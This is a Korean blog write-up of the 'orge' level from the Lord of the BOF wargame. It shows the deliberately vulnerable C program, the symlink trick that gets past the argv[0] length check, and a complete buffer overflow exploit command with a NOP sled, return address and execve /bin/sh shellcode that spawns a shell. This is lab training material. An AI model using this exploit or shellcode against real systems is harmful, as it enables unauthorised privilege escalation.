[darkelf@localhost darkelf]$ cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
굵은 부분으로 표시해논 것처럼 친절하게 이부분이 바꼇다고 알려줍니다
파일을 실행할때 파일이름을 넣어주는 부분인데, 77자가 딱 맞지 않으면 페이로드는 씹히게 됩니다
이를 우회하기 위해서 심볼릭 링크를 걸어주었고, 나머지 부분은 이전과 같습니다
심볼릭 링크를 건방법은 다음과 같습니다
[darkelf@localhost darkelf]$ ln -s `perl -e 'print "B"x75'`
[darkelf@localhost darkelf]$ ls -al
total 52
drwx------ 2 darkelf darkelf 4096 Aug 12 10:46 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw------- 1 darkelf darkelf 18 Aug 11 02:41 .bash_history
-rw-r--r-- 1 darkelf darkelf 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 darkelf darkelf 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 darkelf darkelf 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 darkelf darkelf 333 Feb 26 2010 .emacs
-rw-r--r-- 1 darkelf darkelf 3394 Feb 26 2010 .screenrc
lrwxrwxrwx 1 darkelf darkelf 4 Aug 12 09:50 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB -> orge
길이제한이 77 자로 되어있는데 75자로 심볼릭 링크를 건이유는 해당 파일을 실행하기 위해서는
'./ ' 두문자를 포함해야 하기 때문입니다
따라서 페이로드를 구성해보면
./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB-> argv[0]
NOP(44) | RETN -> argv[1]
NOP(200) | 쉘코드 -> argv [2]
RETN 주소를 찾는방법은 이전과 같으니 생략하고
[darkelf@localhost darkelf]$ ./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "\x90"x44,"\xbc\xfa\xff\xbf"'` `perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
????????????????????????????????????????????술
bash$ my-pass
euid = 507
'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)Level9.troll (0) | 2014.08.14 |
---|---|
(LOB)Level8.orge (0) | 2014.08.14 |
(LOB)Level6.wolfman (0) | 2014.08.11 |
(LOB)Level5.orc (0) | 2014.08.11 |
(LOB)Level4.goblin (0) | 2014.08.11 |